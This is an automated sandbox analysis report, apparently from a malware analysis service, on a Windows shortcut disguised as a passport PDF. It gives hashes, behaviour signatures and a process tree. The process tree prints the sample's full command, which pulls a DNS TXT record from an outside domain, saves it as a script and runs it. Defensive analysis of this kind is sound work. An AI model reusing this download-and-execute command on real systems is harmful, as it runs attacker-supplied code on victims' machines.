Analysis
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max time kernel
122s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20231023-en -
resource tags
arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system -
submitted
13-12-2023 08:34
Static task
static1
Behavioral task
behavioral1
Sample
Passport20231023_90223 pdf lnk.lnk
Resource
win7-20231023-en
Behavioral task
behavioral2
Sample
Passport20231023_90223 pdf lnk.lnk
Resource
win10v2004-20231127-en
General
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Target
Passport20231023_90223 pdf lnk.lnk
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Size
1KB
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MD5
c97607e6e04da0e5ef7414821afba0f5
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SHA1
2acd031bbb023660c5c214809ef7e32a040ad4dd
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SHA256
9a1d62c7aa156b0920f87b422ab3685e60393fc97a0b742e533e791adcf5a31d
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SHA512
a5a1d693b1da51fbdc46047af26697efd5f51bf1cc0928065a4cc67a19c1a39d58e68e8b7a70666d9d350c337f5bd5fb5c80fa796e35cc8b809c0b90c33b0b61
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 1828 wrote to memory of 2060 1828 cmd.exe cmd.exe PID 1828 wrote to memory of 2060 1828 cmd.exe cmd.exe PID 1828 wrote to memory of 2060 1828 cmd.exe cmd.exe PID 2060 wrote to memory of 2800 2060 cmd.exe nslookup.exe PID 2060 wrote to memory of 2800 2060 cmd.exe nslookup.exe PID 2060 wrote to memory of 2800 2060 cmd.exe nslookup.exe PID 2060 wrote to memory of 2616 2060 cmd.exe findstr.exe PID 2060 wrote to memory of 2616 2060 cmd.exe findstr.exe PID 2060 wrote to memory of 2616 2060 cmd.exe findstr.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Passport20231023_90223 pdf lnk.lnk"1⤵
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" cmd /k cd C:\Users\Admin\AppData\Local\Temp & NSlookup -type=TXT tos.viewdobdrv.com | findstr """" > Taste.cmd & Taste.cmd2⤵
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\nslookup.exeNSlookup -type=TXT tos.viewdobdrv.com3⤵PID:2800
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C:\Windows\system32\findstr.exefindstr """"3⤵PID:2616
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
224B
MD5e201ea24b4a9bc902fdba32adef12a1d
SHA12f612798e94d635629ee357cf9776c19ed54cef4
SHA256f712c3e0e170c00971fe11a237799b6ae99f6bc55671a881f5875bf4fbf0d2fe
SHA512643878798d08c99bdda2116b09127cba93cced257c1cbc1497c3929cf0a61dec001f2968e5a7638119c0c0fbd24116f3ba3abbcff13ffc574deebd8118ede766